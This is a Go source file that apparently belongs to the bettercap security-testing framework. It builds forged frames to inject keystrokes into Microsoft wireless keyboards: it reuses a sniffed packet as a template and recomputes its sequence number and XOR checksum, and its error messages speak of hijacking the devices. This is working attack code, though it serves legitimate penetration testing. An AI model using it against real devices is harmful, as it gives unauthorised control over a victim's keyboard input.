build_microsoft.go 1.5 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
  1. package hid
  2. import (
  3. "fmt"
  4. "github.com/bettercap/bettercap/network"
  5. )
  6. type MicrosoftBuilder struct {
  7. seqn uint16
  8. }
  9. func (b MicrosoftBuilder) frameFor(template []byte, cmd *Command) []byte {
  10. data := make([]byte, len(template))
  11. copy(data, template)
  12. data[4] = byte(b.seqn & 0xff)
  13. data[5] = byte((b.seqn >> 8) & 0xff)
  14. data[7] = cmd.Mode
  15. data[9] = cmd.HID
  16. // MS checksum algorithm - as per KeyKeriki paper
  17. sum := byte(0)
  18. last := len(data) - 1
  19. for i := 0; i < last; i++ {
  20. sum ^= data[i]
  21. }
  22. sum = ^sum & 0xff
  23. data[last] = sum
  24. b.seqn++
  25. return data
  26. }
  27. func (b MicrosoftBuilder) BuildFrames(dev *network.HIDDevice, commands []*Command) error {
  28. if dev == nil {
  29. return fmt.Errorf("the microsoft frame injection requires the device to be visible")
  30. }
  31. tpl := ([]byte)(nil)
  32. dev.EachPayload(func(p []byte) bool {
  33. if len(p) == 19 {
  34. tpl = p
  35. return true
  36. }
  37. return false
  38. })
  39. if tpl == nil {
  40. return fmt.Errorf("at least one packet of 19 bytes needed to hijack microsoft devices, try to hid.sniff the device first")
  41. }
  42. last := len(commands) - 1
  43. for i, cmd := range commands {
  44. next := (*Command)(nil)
  45. if i < last {
  46. next = commands[i+1]
  47. }
  48. if cmd.IsHID() {
  49. cmd.AddFrame(b.frameFor(tpl, cmd), 5)
  50. if next == nil || cmd.HID == next.HID || next.IsSleep() {
  51. cmd.AddFrame(b.frameFor(tpl, &Command{}), 0)
  52. }
  53. } else if cmd.IsSleep() {
  54. for i, num := 0, cmd.Sleep/10; i < num; i++ {
  55. cmd.AddFrame(b.frameFor(tpl, &Command{}), 0)
  56. }
  57. }
  58. }
  59. return nil
  60. }